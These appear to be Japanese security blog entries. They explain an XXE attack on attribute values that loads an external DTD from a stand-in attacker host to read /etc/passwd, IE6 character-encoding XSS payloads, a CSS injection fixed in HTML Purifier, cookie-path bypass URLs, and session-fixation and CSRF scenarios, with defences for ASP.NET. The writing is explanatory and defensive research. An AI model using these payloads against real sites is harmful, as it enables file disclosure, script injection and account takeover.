属性値のXXE攻撃

以前、属性値でのXXE(Xml eXternal Entity)攻撃を試したのですが、やり方がよく判りませんでした。

最近また試してみて、属性値での攻撃方法が判ったので日記に書いてみます。

Servletプログラム

以下のようなJava Servletプログラムをサーバに置きます。

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import org.w3c.dom.*;
import org.apache.xerces.parsers.*;
import org.xml.sax.*;

public class AttrTest1 extends HttpServlet {
  public void service(HttpServletRequest request,
                      HttpServletResponse response)
    throws ServletException, IOException {

    try {
      // リクエストBODYをParseする
      DOMParser parser = new DOMParser();
      parser.parse(new InputSource(request.getInputStream()));

      Document doc = parser.getDocument();
      // data1要素を取り出す
      Element data1 = (Element)doc.getElementsByTagName("data1").item(0);
      // data1要素のattr1属性の値を取り出す
      String attr1 = data1.getAttribute("attr1");

      // attr1属性値を出力する
      response.setContentType("text/plain; charset=UTF-8");
      PrintWriter out = response.getWriter();
      out.println("attr1 value: " + attr1);
    }
    catch (Exception e) {
      throw new RuntimeException(e);
    }
  }
}

プログラム内のコメントの通り、リクエストのBODYをParseして、data1要素のattr1属性値を取り出して、その値をレスポンスします。

このプログラムは、以下のような入力・出力処理を行います。

【入力】<data1 attr1="111&gt;222"></data1>

【出力】attr1 value: 111>222
ダメな攻撃方法

すぐに思いつくのは、下のようなXMLを食わせる攻撃です。

<?xml version="1.0"?>
<!DOCTYPE data1 [
<!ENTITY pass SYSTEM "file:///etc/passwd">
]>
<data1 attr1="&pass;"></data1>

しかし、これだとParseエラーとなってうまくいきません。どうも、属性値内では外部実体参照は使えないようです。

XMLの仕様書の「3.1 Start-Tags, End-Tags, and Empty-Element Tags」にも以下のような記述がありました。

Well-formedness constraint: No External Entity References

Attribute values MUST NOT contain direct or indirect entity references to external entities.

Extensible Markup Language (XML) 1.0 (Fifth Edition)]
属性のデフォルト値を使う

じゃあどうすればいいんだという話です。

以前の日記(XMLをParseするアプリのセキュリティ(補足編)- T.Teradaの日記)で使った手法と似ていますが、パラメータ実体を使って属性のデフォルト値を細工するとうまくいきます。

まず、以下のような外部DTD(test1.dtd)を、攻撃者のサーバ上に用意します。

<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ATTLIST data1 attr1 CDATA '%p1;'>">
%p2;

1行目でパラメータ実体(%p1;)を定義します。「%p1;」は、攻撃対象サーバ上の/etc/passwdファイルの中身を参照します。次の行では、data1要素のattr1属性のデフォルト値を「%p1;」(つまり/etc/passwdの中身)だと定義するためのパラメータ実体(%p2;)を用意します。最後の行で「%p2;」を展開して、「%p2;」の中身をDTDとして評価させます。

攻撃対象のServletプログラムには、下のXMLを食わせます。

<?xml version="1.0"?>
<!DOCTYPE data1 SYSTEM "http://attacker/test1.dtd" >
<data1 />

外部DTD(test1.dtd)により、data1要素のattr1属性が指定されない場合のデフォルト値は/etc/passwdファイルの中身になるため、属性値を省略したXMLを食わせると攻撃対象サーバ上の/etc/passwdの中身が返ってきます*1

#ただまあこの方法が使えることは滅多にないと思いますが…

*1:返ってくるとき、ファイルの中身に含まれる改行文字はスペースに正規化された状態になっています。

JavaScriptの文字列リテラルでXSS

たまに以下のようにJavaScriptの文字列リテラルに値が入るアプリを見ることがあります。

<script>
var foo="●";
...
</script>

値は「●」の箇所にHTMLエスケープされて出力されます(下の方の例も同じ)。

こんなケースでどうXSSするか?という話です。

簡単にXSSできるケース

以下のパターンだとXSSするのは簡単です。

<script>
var foo="●"; var bar="●"; ...
</script>

?foo=\&bar=-alert(123)//のような値を与えるだけです。

難しいケース

次はこんなパターンを考えます。

<script>
var foo="●";
var bar="●";
...
</script>

こうなると難易度はぐっと上がります。というよりも、ほとんどの場合はXSSできません。

しかし、状況次第ではXSSできることもあります。

攻撃方法

HTMLの文字コードにはUTF-8が指定されているものの、UTF-8として不正なバイトシーケンスがHTMLに出力できる状況であるとします。

そんな状況ならば、?foo=%F0&bar=-alert(123)//のような値を与えることでXSSできます。

%F0(0xF0)はUTF-8の4バイト文字の先頭バイトです。IE6だと%F0の後ろの3バイトを食いつぶしてくれます。JavaScriptコード上で、[0xF0]の後ろに「"」(0x22)、「;」(0x3B)、LF(0x0A)の3バイトがありますが、それらがうまいこと食いつぶされるということになります。

HTMLの改行文字がLFではなくCR LFならば、後ろの4バイトを食いつぶすために、UTF-8の「5バイト文字」を使う必要があります。厳密にいうと「5バイト文字」というのは規格上存在しませんが、IE6には存在するようで、fooに「%F8」を入れれば後ろの4バイトが食いつぶされてうまくXSSできます。

IE6+UTF-8での"食いつぶし"

余談ですがIE6のUTF-8処理はかなりユニークです。

ここでは「©」(U+00A9)という文字をとりあげて説明します。

この文字は、UTF-8エンコードすると[0xC2][0xA9]というバイトになります。これを2進数(ビット)であらわすと、以下のようになります。

0xC2     0xA9
11000010 10101001

UTF-8では2バイト目以降の先頭2ビット(上の赤字部分)は「10」で固定です。固定なので、コードポイントを示すデータではなく、「2バイト目以降である」ことを示す意味しか持っていません。とらえようによってはどうでもいい部分ということです。

IE6のUTF-8デコーダは、この2ビットを無視してデコードします。これを利用すると、ある文字を複数のバイト列で表現することができます。

11000010 00101001 ←0xC2 0x29
11000010 01101001 ←0xC2 0x69
11000010 10101001 ←0xC2 0xA9(ただしいU+00A9)
11000010 11101001 ←0xC2 0xE9

IE6は、上の4つのバイト表現をすべて「©」(U+00A9)と解釈してしまいます。

このようにIE6のデコーダはかなりルーズにできています。それもあって、直後の1バイトが食いつぶされるだけでなく、先の例のように3バイト(もしくはそれ以上)が食いつぶされるような現象が発生します。

その他の方法

UTF-8以外ではどうかというと、(IE6・IE7では)EUC-JPの場合にXSSを成功させることができます。

しかも、UTF-8では「foo」「bar」の2つの変数を制御できなければ攻撃は成功しませんが、EUC-JPでは1つの変数に任意のバイトを入れられるだけで攻撃可能です。出力される箇所がSCRIPTタグの中でなくてもかまいません。

詳細はあえて割愛しますが、EUC-JPのデコーダもかなりおかしなことになっています。IE8ではかなり改善されていますが、それでもまだ中途半端なところがあります。

HTML PurifierのSecurity Fix

HTML Purifierの4.1.1がリリースされました。今回のリリースには1件のSecurity Fixが含まれています。今日はその内容について少し書きます。

IECSSのurl()の扱い

以下のようなstyle属性があったとき、ブラウザはどのように解釈するでしょうか?

<span style="background: url('http://host/aaa\'\);color:red;')">111</span>

FirefoxOperaSafariでは、「http://host/aaa');color:red;」というURIをもつbackgroundプロパティと解釈します。したがってcolorプロパティが有効になることはありません。これはCSSの仕様から見ても至極妥当な挙動です。

ところがIEだけが違う解釈をします。IEで上記のHTMLを表示させると、backgroundプロパティのURI値は「http://host/aaa\'\」と解釈されます。そして、その後ろのcolorプロパティが有効となり「111」という文字は赤字で表示されます。

このように、IEはurl()内の文字列リテラルにおいて「\」によるエスケープを解釈しません。HTML Purifierの4.1.1未満にあった脆弱性は、IEのこのような特異な解釈(バグ)を適切にハンドリングできないというものでした。

font-familyプロパティ

font-familyプロパティでも「'」または「"」で括ったリテラルが使用可能です。

こちらはどうなのか以下のHTMLで試してみます。

<span id="s1" style="font-family: 'aaa\';color:red;'">111</span>

<script>
alert(document.getElementById('s1').style.fontFamily);
</script>

このHTMLをIEで表示すると、他のブラウザと同じく「'aaa';color;red;'」がalertされます。つまり、font-familyについていえば、IEも「\」によるエスケープ構文をサポートしているということになります。

ならばurl()でも「\」エスケープをサポートすればよさそうなものですが、上で説明したようにそうはなっていません。ひょっとしたら、url()では「C:\terada\...」のようなパスが使われる可能性を考慮して、「\」エスケープを解釈しないのかも…と推測していますが、真相はわかりません。

とられた対策

HTML Purifier 4.1.1では以下の対策がとられました。

Rewrite CSS url() and font-family output logic.

The new logic is as follows:

  • Given a URL to insert into url(), check that it is properly URL encoded (in particular, a doublequote and backslash never occurs within it) and then place it as url("http://example.com").
  • Given a font name, if it is strictly alphanumeric, it is safe to omit quotes. Otherwise, wrap in double quotes and replace '"' with '\22 ' (note trailing space) and '\' with '\5C ' (ditto).

Public Git Hosting - htmlpurifier.git/commit

実はこの対策は私が提案したものがベースになっていたりします(Release Noteにcreditしてくれました。脆弱性自体はMario Heiderich氏が報告したようです)。

IEの挙動が変わらない限り、このようなちょっと面倒な対処をせざるをえないと思います。

CookieのPath

遅ればせながら、高木さんの日記を見ました。

高木浩光@自宅の日記 - 共用SSLサーバの危険性が理解されていない

CookieのPath指定がセキュリティ上意味を持たない件について書かれています。

日記に書かれたIFRAMEを使う方法で既に「詰み」なのですが、もうちょっと別の方法(JavaScriptを使わない方法)について書きます。

URLを細工する

被害者の「http://example.jp/aaa/」のCookieを「http://example.jp/bbb/」から取得することを考えます。攻撃者は「/bbb/foo.cgi」というCGIを置いて、被害者に以下のようなURLを踏ませます。

URL1: http://example.jp/aaa/%2E./bbb/foo.cgi
URL2: http://example.jp/aaa/..%2Fbbb/foo.cgi

※ %2Eは「.」を、%2Fは「/」をURLエンコードしたもの

例えば、IE6やSafari4でURL1を踏むと、ブラウザはfoo.cgiが「/aaa/」の下層にあるとみなすため「path=/aaa/」のCookieをサーバに送ります。一方で、たいていのWebサーバはURL1の「%2E./」を「../」と解釈するため、「/aaa/%2E./bbb/foo.cgi」を「/bbb/foo.cgi」にマップします。つまり、「path=/aaa/」のCookieを「/bbb/」以下のプログラムから参照できるということです。

URL2も同じです。たいていのブラウザ(IE6〜8やFirefox3)でURL2を踏むと、URL1と同じように「path=/aaa/」のCookieがサーバに送られます。一方で、IISCoyoteなどの一部のWebサーバは、URL2に対するリクエストを「/bbb/foo.cgi」にマップします(ちなみにIISでは「%5C」を使うこともできます)。

攻撃への利用(1)

しかし、上述のようにIFRAMEを使う方法などでCookieを取ったり、(Cookieにhttponly属性が設定されている等の理由で)Cookieが取れなくても、IFRAMEやXMLHttpRequestを使ってページのデータを盗むことができます。

ですので、上のようなURLを細工するテクニックは本当に役に立たないトリビアでしかないわけですが、むかし一回だけあるサイトのDOM Based XSSの検査で役に立ったことがあります。

そのサイトのページのJavaScriptでは、document.URL(http://example.jp/XXX/hoge.html)から「XXX」の部分を切り出して、そのままdocumnt.write()していました。そのため、(少なくともIE6では)「XXX」にタグを入れたURLを作って被害者に踏ませればXSSするのですが、困ったことに「XXX」を操作すると404(Not Found)になります。

そんな状況で使ったのが「%2E./」です。具体的には「http://example.jp/(攻撃コード)/%2E./hoge.html」とすることで、404にならずに攻撃コードをJavaScriptに送り込むことができます。

あとは、(攻撃コード) の部分をどうするかを考えればよいのですが、実は意外とややこしいです。

攻撃コードはURLに入れなければならないために制約があります。スペース等の空白文字類は使えませんし、「/」を使うこともできません(JavaScriptがURLを「/」でsplitするため)。空白文字類と「/」が使えないということは、属性付きのタグや閉じタグを入れられないということです。

このような状況には極たまに遭遇するのですが、そんなときに使うのは「<style>body{a:expression(alert(123))}」のようなパターンです。閉じタグがなくて気持ち悪いですが、少なくともIE6では動いてくれます。

攻撃への利用(2)

またCookieとPathの話に戻ります。

先の例は、「URLを操作することで、本来はCookieが送信されないページに対して、Cookieを無理やり送信させる」ものでした。その逆で、「本来はCookieが送信されるページに、Cookieを送信させない」こともできます。非常に限定された状況では、攻撃者にとって「Cookieを送信させない」ことがメリットになることもあると思います。

例えば、Cookie Aは「path=/」に発行され、Cookie Bは「path=/test/」に発行されているとします。ブラウザがこの2つのCookieを持っているならば、「/test/foo.html」にアクセスするとA・Bの2つのCookieがサーバに送られます。

ところが、「//test/foo.html」のようなURL(スラッシュをダブらせる)に被害者をアクセスさせると、「path=/test/」のCookie Bはサーバに送られず、「path=/」のCookie Aだけがサーバに送られます。

このような状況が、攻撃者にとって得になるか?というと、そんなケースはあまりないと思います。ただ、「T.Teradaの日記 - セッションIDと認証チケット」に書いたような複数のCookieを使用しているサイトにおいて、アプリが何らかの問題を抱えているという条件下であれば、一部のCookieを送らせないことが攻撃者を手助けすることもあるかもしれません。

セッションIDと認証チケット

以前の日記で、ASP.NETのセッション固定対策について書きました。

その結論をまとめると、

  • ASP.NETにはセッションIDを変更するまともな方法が存在しない。
  • そのため、ASP.NETではフォーム認証機構(FormsAuthentication)を使ってログイン状態管理を行うべき。
  • FormsAuthenticationは、通常のセッションID(ASP.NET_SessionId)とは別の認証チケット(Cookie)をログイン成功時に発行し、この認証チケットによってログイン後のユーザの識別を行う仕組み。

ということになります。

ASP.NETのサイトに限らず、セッション(PG言語やフレームワークに組み込みのセッション機構)と、認証チケットの両方を使用しているサイトはたまに見られます*1

特にポータルサイトのような大規模なサイトは、ログインをつかさどるシステムと、会員向けのブログや日記、ニュース、ショッピングなどの各種機能を提供する多数のサブシステム(開発言語やサーバの物理的な場所などはバラバラ)から構成されています*2。これらのシステムでSSO(Single Sign On)を実現するために、ログインをつかさどるシステムが認証チケットを発行し、各種会員向け機能を提供するサブシステムでは、サブシステム毎のデータを扱う個別のセッションと、認証チケットの両方を使用していることがあります。

本日はそのようなサイトで見られる脆弱性について書きたいと思います。ただし、いわゆるセッション機構と認証チケットの両方を使用するといっても、その使い方はサイトによって千差万別であり、脆弱性のあり方もまた千差万別です。あまり網羅性は気にせずに、思いつくままに書いていきたいと思います。

前提とするのはPCブラウザ向けのサイトです。認証チケット、セッションIDともにCookieに格納しているとします。ただし、WebアプリはGETパラメータで与えられた認証チケット・セッションIDも受け付けると仮定します(説明を判りやすくするため)。認証チケットは「AuthTicket」、セッションIDは「SessID」という名前であらわします。

1.セッションIDと認証チケットの両方を見るタイプ

まずは、セッションIDと認証チケットの両方を、関連付けることなく使用しているサイトをとりあげます。
つまり、ログイン後のページでは、認証チケットをデコードして会員IDを得る処理を都度行うとともに、それとは独立して仕掛りデータの保存用にセッション変数を使うアプリです。

ASP.NETのFormsAuthenticationを使った場合も、特に何も考えずにセッションを使用したならばこの状態となります。

例としてとりあげるのは、ログイン後に会員個人情報の変更を行うアプリです。このアプリでは、ユーザがフォームで入力した個人情報をセッション変数に一時保存します。変更完了処理では、セッション変数から個人情報を取り出して、それを会員に紐付けて会員情報DBに保存します。

1.1 セッション固定

このようなアプリでありがちなのはセッション固定の脆弱性です。

攻撃は、被害者が個人情報の入力を開始するよりも前に、被害者のブラウザにセッションIDを植えつけることからはじまります。

ただし、このアプリでは、セッションIDを固定化しても被害者のユーザになりすますことはできません。なりすますには認証チケットの方が必要で、なにか別の脆弱性でもない限り攻撃者はそれを入手することはできないからです。

しかし被害者は攻撃者が植えつけたセッションIDを持っており、被害者がフォームで入力した個人情報は、そのセッションIDに紐付いてセッション変数に保存されます。実際に、いま被害者は個人情報の入力を終えて確認画面を表示しており、セッション変数には被害者の個人情報が保存されているとします。攻撃者の狙いはこのデータを奪うことです。

このアプリでは、利用者が確認画面から入力画面に戻って情報を修正できるようにしており、このときセッション変数から情報を引き出してフォームに埋め込んだ画面をユーザに戻しているとします。

攻撃者はこの挙動を利用します。攻撃者は自ら以下のようなURLにアクセスします。

https://www.example.jp/inputProfileBack.cgi
        ?SessID=(被害者に使わせたセッションID)
        &AuthTicket=(攻撃者の認証チケット)

inputProfileBack.cgiは、(確認画面から戻って)個人情報を入力するフォームを表示するCGIです。

本来の正常なフローであれば、inputProfileBack.cgiはセッションID・認証チケットともに被害者のもの(Cookie)を受け取ります。しかし、前述のように攻撃者は被害者の認証チケットを入手することはできません。そのため、被害者の認証チケットの代わりに攻撃者の認証チケットを付けて入力画面にアクセスしています。何らかの認証チケットがないと、常にログイン画面にリダイレクトするようなアプリでは、このような小細工が必要です。

アプリ(inputProfileBack.cgi)がセッション変数内の個人情報の持ち主である会員と、認証チケットが指し示す会員が同じかをチェックするロジックを持たないならば、アプリにとっては有効な認証チケットと、有効なセッションIDの両方を受け取ることになります。アプリは素直にセッション変数内にある被害者の個人情報を埋め込んだ画面を攻撃者に返してしまうでしょう。

1.2 別人でコミットさせる

セッションIDが都度変化するような対策が施されている場合には、1.1の攻撃は成功しません。しかし他の方法による攻撃が成功する場合もあります。

さきほどと同じく、ログイン後に個人情報を変更するアプリを取り上げます。被害者は、個人情報の入力を終えて確認画面を表示しているとします。被害者のセッション変数には、入力された被害者の個人情報が保存されており、攻撃者はこれを奪おうとしています。

攻撃者はまず、被害者に以下のURLを踏ませます。

https://login.example.jp/login.cgi
        ?UserID=evil&password=evilpass

login.cgiはログインを行うCGIです。このURLを踏まされた被害者は、攻撃者の会員アカウントである"evil"でログインした状態("evil"の認証チケットCookieを持つ状態)となります。

一方、被害者のセッション変数には相変わらず被害者の個人情報が入っています。したがって、このまま被害者に個人情報変更を完了させれば、セッション変数内の被害者の個人情報を、攻撃者アカウントのものにすることができるかもしれません。

被害者に個人情報変更を完了させるには、通常はCSRF対策を突破しなければなりません。CSRF対策方法にもいくつかの種類がありますが、このアプリではパスワードを入力させるタイプのCSRF対策が取られていたとします。そうであれば、CSRF対策を突破するのは簡単です。

被害者に以下のURLを踏ませます。

https://www.example.jp/commitProfileChange.cgi
        ?Password=evilpass

commitProfileChange.cgiは個人情報変更を確定させるCGIです。被害者は今や"evil"でログインした状態ですので、ここでは"evil"のパスワードである"evilpass"をパラメータとしてつければよいことになります。

先ほどの1.1と同じく、アプリ(commitProfileChange.cgi)がセッション変数内の個人情報の持ち主である会員と、認証チケットが指し示す会員が同じかをチェックするロジックを持たないならば、セッション変数内の被害者の個人情報は、攻撃者の"evil"アカウントに紐付いて会員情報DBに保存されるでしょう。攻撃者は自分のアカウントである"evil"でログインして会員個人情報を参照するページに行けば、被害者の個人情報を盗み見ることができます。

ちなみに個人情報変更のCSRF対策として、パスワード以外のものを使うアプリも多くあります。そういう場合には、別のもう少し手のかかる方法を使って被害者に変更確定を強制できる場合もありますし、被害者が確認画面上の変更確定ボタンを押すのをじっと待つしかないこともあります。

なお、ここで書いたような攻撃(無理やり別人アカウントでログインさせた上で、変更をコミットさせる攻撃)は、認証チケットを使っているサイトでのみ成功するわけではありません。ルーズな処理を行っているならば、セッションだけを使っているサイトでも成功することがあります。

1.3 CSRF

今度はCSRF(Cross Site Request Forgery)攻撃です。今までと違って、攻撃者の狙いは被害者の情報を奪うことではなく、攻撃者が指定した値で被害者に個人情報変更を実行させることです。

認証チケットとセッションを併用するサイトにおいては、会員アカウントと紐付かないCSRF対策用のトークンを使用している問題に起因するCSRF脆弱性がしばしばみられます。

そのような問題を持つ場合、以下のような手順で攻撃が成功します。

まず、攻撃者は自らのアカウントでログインして個人情報変更の確認画面まで進めます。これにより、攻撃者のセッション変数には、攻撃者が入力した個人情報が保存されます。先ほどまでのアプリとは違い、このアプリではCSRF対策にワンタイムトークン(AntiCSRFToken)が使われているとしましょう。攻撃者は自身の確認画面のhiddenに入っているワンタイムトークンと、自身のセッションID(Cookie)をメモしておきます。

そして、認証チケットCookieのみを持っている被害者を、以下のような罠のURLにアクセスさせます(commitProfileChange.cgiは個人情報変更を確定させるCGIです)。

https://www.example.jp/commitProfileChange.cgi
        ?SessID=(攻撃者のセッションID)
        &AntiCSRFToken=(攻撃者のトークン)

被害者が罠を踏むと、サーバに送信される認証チケットCookieは被害者のものです。同時に送信されるセッションIDとCSRF対策用トークンは攻撃者のものです。

アプリが、セッションやトークンをアクセスしている会員と関連付けていない場合、アプリは受け取ったセッションIDとトークンを「妥当なペアである」と判断して、会員情報DBへの書き込み処理を進めようとするでしょう。アプリが受け取るセッションIDとトークンは、攻撃者が実際に自分のアカウントでログインして確認画面から取得した"本物"だからです。

攻撃者が入力した個人情報はセッション変数に入っています。これもアプリが会員と関連付けていないならば、この個人情報は被害者アカウントのものとして会員情報DBに登録されるでしょう。というのは、被害者が罠を踏んだ時にアプリに渡される認証チケットCookieは、被害者アカウントのものだからです。

2.最初だけ認証チケットを見るタイプ

「1.セッションIDと認証チケットの両方を見るタイプ」のアプリは、認証チケットとセッションの両方を、独立して使用するタイプのものでした。

それに対して、ここで取り上げる「2.最初だけ認証チケットを見るタイプ」のアプリは、最初のタイミングで認証チケットをデコードして会員IDを取り出し、それをセッション変数に保存します。既にセッション変数に会員IDが保存されている状況では、認証チケットは参照せずに、セッション変数の会員IDだけを見てアクセス者がどの会員なのかを識別します。

このようなアプリでも、セッション固定の脆弱性は多くみられます。

まず、攻撃者はWebサイトにアクセスしてセッションID Cookieを取得します。その後に、認証チケットCookieのみを持っている被害者を、以下のような罠のURLにアクセスさせます。

https://www.example.jp/id_init.cgi
        ?SessID=(攻撃者のセッションID)

id_init.cgiは、認証チケットをデコードして会員IDを取り出して、セッション変数に保存する処理を行うものだと思ってください。

攻撃者がつけたGETパラメータのセッションIDは、被害者の認証チケットCookieとともにWebアプリに送られます。アプリは認証チケットから被害者の会員IDを取り出して、それを攻撃者のセッション変数に保存してしまいます。

セッションIDがこのタイミングで変化しないならば、攻撃者はそのセッションIDを使ってアプリにアクセスすることで、被害者会員へのなりすましに成功します。

対策

様々な対策方法が考えられますが、なるべくシンプルなものを挙げます。まずは対策が簡単な「2.最初だけ認証チケットを見るタイプ」の対策から説明します。

「2.最初だけ認証チケットを見るタイプ」の対策

このタイプの対策は、通常のセッションのみを使うアプリと基本的に変わりません。

  1. ログイン時に、セッションIDを変更する。
  2. セッション変数内の情報をログイン時に消す。

ひとことでいうと、「ログイン時にセッションを再生成せよ」ということになります。

注意が必要なのは、ここでいう「ログイン」とは「認証チケットをデコードしてセッション変数に入れる」タイミングであるということです。また、2番目の「セッション変数内の情報をログイン時に消す」については、「1.2 別人でコミットさせる」のようなタイプの攻撃への対策として必要です。

「1.セッションIDと認証チケットの両方を見るタイプ」の対策

こちらは様々な対策方法がありますが、大きく分けて2つのアプローチがあると思います。

セッションと会員を関連付ける対策

既にみたように、このタイプのアプリへの攻撃の常とう手段は、セッションIDと認証チケットの片方を攻撃者のものに置き換えることです。ですので、両者をきちんと関連付けして、片方だけを置き換えられないようにしようというのが基本的な考え方です。

具体的には、会員と紐付けられるべき情報をセッション変数に出し入れする際に、(最低限)以下の処理を行います。

  1. 最初に、セッションがどの会員のものであるか、セッション変数に"しるし"をつける。
  2. 認証チケットが指し示す会員と、セッションに付けた"しるし"が異なる場合はエラーとする。

ASP.NETのFormsAuthenticationとセッションを同時に使う場合には、この方法をとるしかないと思います。

なお、セッションをまるごと会員と関連付けるのではなく、セッション変数内の個別の情報の単位で会員と関連付ける方法もあります。

セッションと会員を関連付けない対策

会員とセッションの関連付けをしないのならば、以下の対策が必要です。

  1. セッション変数に書き込みを行う都度、セッションIDを変更する。
  2. CSRF対策用トークンには、会員と紐付く情報(認証チケットやパスワード)と、セッションと紐付く情報(セッションIDそのものやセッション変数に入れたトークン)の両方を使う。

このケースでは、セッションは会員と関連付かないため、ログイン前のセッション固定対策と同じように、毎回のセッションID変更が必須となります。

また、CSRF対策には2つのトークンが必要になります*3。なぜならば、このケースでは、ユーザは「認証チケットを持ったある会員」という顔と、「セッション変数の持ち主である匿名の誰か」という2つの顔を持つ存在であり、2つの顔の片方が置き換えられないようにする必要があるからです。

しかし、一人のユーザが2つの顔を持つという状況はややこしいので、セッションと認証チケットを関連付けするか、「1.最初だけ認証チケットを見るタイプ」にした方が無難ではないかと思います。

*1:認証チケットのことをセッションと呼ぶこともあるため紛らわしいですが、この日記でいう認証チケットとは、ログイン時に発行され、チケットそのものに会員IDやログイン有効期限等の情報を含んでいるトークンを指しています。またセッションとは、JSESSIONID、PHPSESSID、ASP.NET_SessionIdなどのように、キーをクライアントにCookie等の形で渡して、それに紐付く情報をサーバ側のセッション変数に保存できる仕組みを指しています。

*2:私自身も過去にこのようなシステムの開発に携わっていました。

*3:正確には、2つを統合した1つのトークンを使うことも可能です。

ASP.NETのセッション固定対策

本日は、ASP.NETでログイン機能をつくる際のセッション固定対策について書きます。

ログイン状態の管理には、ASP.NETが提供するセッション機構(ASP.NET_SessionId Cookie)を使っているとします。

ASP.NETでのセッション再生成

ログイン機能のセッション固定対策は、ログイン時に新たなセッションを開始することです。既存のセッションがなければ新たにセッションを開始し、既存のセッションがあるならばそのセッションは再生成されなければなりません。

しかし、ASP.NETはセッションを再生成する方法を提供していません。

それはJavaも同じなのですが、TomcatだとHttpSession#invalidateでセッションを無効化することで、セッションを再生成することができます*1

ASP.NETでも普通に考えると、Session.Abandonという同等のメソッドを利用することでセッションを再生成できそうだと考えてしまいますが、Session.Abandonには以下のような問題があります。

ところで、Abandonメソッドのドキュメントをよく読むと、次の記述がある。


Abandon メソッドを呼び出すと、現在のセッションが無効になり、新しいセッションを開始できます。Abandon により End イベントが発生します。次の要求に対して Start イベントが発生します。
Abandonメソッドで破棄したセッションオブジェクトに代わる、次のセッションオブジェクトが生成されるのは、Abandonメソッドを呼び出したHTTPリクエストの、次回のHTTPリクエスト時だというのだ。

ASP.NETで「ログイン成功後に新しいセッションを開始」は可能なんだろうか? - atsukanrockのブログ

引用元の「熱燗ロックのブログ」が問題を判り易く解説していますが、私なりにまとめると、

  1. ログイン成功時にSession.Abandonを呼ぶとセッションが無効化されるが、新しいセッションは次のリクエストを発行するまで開始されない。
  2. そのためログイン成功時にセッション変数にユーザID等を保存して、それを次のページに引き継ぐことができない。

ですので、次のページに安全に(改竄されない形で)ユーザID等を渡すにはどのようにすればよいのか?という問題が生じます。

安全に(改竄されない形で)データを渡す

改竄防止を意図すると、ログイン成功時に以下のような応答を返す方法が考えられます。

<form action="SessionRegenerate.aspx" method="post">
<input type="hidden" name="UserID" value="(UserID)">
<input type="hidden" name="MAC" value="(改竄を防止するためのMAC)">
<input type="submit" value="次へ">
</form>

この画面で、ユーザが「次へ」ボタンをクリック(もしくはJavaScriptで自動サブミット)すると、UserIDが改竄防止のためのMACとともにSessionRegenerate.aspxに渡されます。SessionRegenerate.aspxではMACを検証して、改竄がされていなければセッション変数にユーザIDを格納する処理を行います。

// SessionRegenerate.aspx

String UserID = Request.Form["UserID"];
String MAC = Request.Form["MAC"];

If (checkMAC(UserID, MAC)) {
    Session["UserID"] = UserID;
    Response.Redirect("MemberTop.aspx");
}

なお、ASP.NETには改竄対策が施されたViewStateやFormsAuthenticationTicketといった仕組みがあるため、実際にはMACを独自実装する必要はありません。上のコードでMACを使っているのは、単にその方が説明がしやすいという理由です。

Session Adoption

しかし、このMAC(あるいはViewState等)を使う方法はうまく機能しません。そもそもの話としてこの通りに実装するとセッション変数はクリアされるものの、セッションIDが変更されないのです。

実はASP.NETは無効になったセッションIDであっても再利用してしまう"癖"があります。そのためSessionRegenerate.aspxは、その前のログイン処理でAbandonされたセッションIDの値を変更することなく使い続けます。

この癖に対処するためには、ログイン処理でCookieASP.NET_SessionID)を消してサラな状態にしてから、SessionRegenerate.aspxに移動しなければなりません。

// Login.aspx

If (checkPassword(UserID, Password)) {
    Session.Abandon();
    // Cookieを消す
    HttpCookie c = new HttpCookie("ASP.NET_SessionId", "");
    Response.Cookies.Add(c);
}

なんとも汚い感じでいやなのですが、この辺りはどうも仕様のようで、Microsoftのサポートページ()でも同じ方法が紹介されています。

なお、ASP.NETが無効になったセッションIDを再利用するという事実は、ASP.NETにSession Adoptionの問題があることを示唆しています。実際のところ、一定の長さや文字種類の条件を満たすセッションIDであればなんでもASP.NETは受け入れてしまいます*2

この方法の問題点

Cookieを消すコードをLogin.aspxに追加することで、ようやくログイン時にセッションが再生成されるようになります。一見するとこれで所期の目的を達成したかのようですが、実はまだ問題があってセッション固定攻撃を成功させることができます。

攻撃のシナリオは2つあります。

シナリオ1

1つ目のシナリオでは「消えないCookie」を使います。

// Login.aspx

HttpCookie c = new HttpCookie("ASP.NET_SessionId", "");
Response.Cookies.Add(c);

これは、上のアプリのログイン処理(Login.aspx)で使われているCookieを消すコードです。これにより、下のSet-Cookieヘッダが返されます。

Set-Cookie: ASP.NET_SessionId=; path=/

攻撃者は、このコードでは消えないようなCookieを被害者のブラウザに植えつけておきます。

Cookieを消させない方法の1つ目は、Cookieのスコープを利用するものです。Cookieを削除するには、発行された時と同じドメインやパスを指定しなければなりません。しかし、ブラウザから送られるCookieドメインやパスをサーバ側で知る方法はなく、決め打ちして削除を試みるしかありません。ですので、うまいことドメインやパスを操作したCookieを被害者のブラウザに植えつけておけば、Cookieは消されなくなります。

攻撃者のCookieが消えずに、被害者のUserIDとそのMAC(POSTパラメータ)とともにSessionRegenerate.aspxに送られれば、SessionRegenerate.aspxは攻撃者のセッションIDを被害者のアカウントでログインした状態に変えてしまいます。

2つ目の方法は、事前に被害者に植えつけておくCookieの名前や値を操作するものです。例えば「asp.net_sessionid」のような小文字のCookieを被害者のブラウザにセットします。ブラウザはCookieの大文字・小文字を区別するため、このCookieは上のSet-Cookieヘッダによって削除されません。一方でASP.NETは基本的にCookieの大文字・小文字を区別しないため、小文字でもセッションIDとして受け入れてしまいます((Set-Cookie: a="1;ASP.NET_SessionId=qftslj3ooxlf5j552jly2p55;b=1"; path=/のようなCookieを植えつけておく手もあります。ブラウザ(Firefox)にとっては、これはaという名前の1つのCookieですが、Cookieヘッダでこれを受け取ったASP.NETは3つのCookieであると解釈します。))。

シナリオ2

2つ目のシナリオはタイミングを利用します。

Login.aspxの応答のSet-CookieヘッダによってCookieが消されてから、SessionRegenerate.aspxにアクセスするまでの間には時間があります。この間に、被害者のブラウザにセッションID Cookieを植えつけます。

これは針の穴を通すような攻撃ですが、成功する可能性はゼロではありません。

Cookieが無いことを確認する

上の攻撃シナリオ1,2に対処するために、ログイン成功直後にアクセスするSessionRegenerate.aspxを以下のように変更します。

// SessionRegenerate.aspx

// リクエストにCookieがない && MACが正しいことを確認する
If (Request.Headers["Cookie"] == null && checkMAC(UserID, MAC)) {

    Session["UserID"] = UserID;
    Response.Redirect("MemberTop.aspx");
}

何らかのCookieが付いている場合にはログイン処理(セッション変数にユーザIDを格納する処理)をさせないようにしています。

これにより、いかなるCookieも持たないサラな状態でSessionRegenerate.aspxにアクセスすることが保証されます。サラな状態でアクセスした場合には、常に新しいセッションが開始されます。

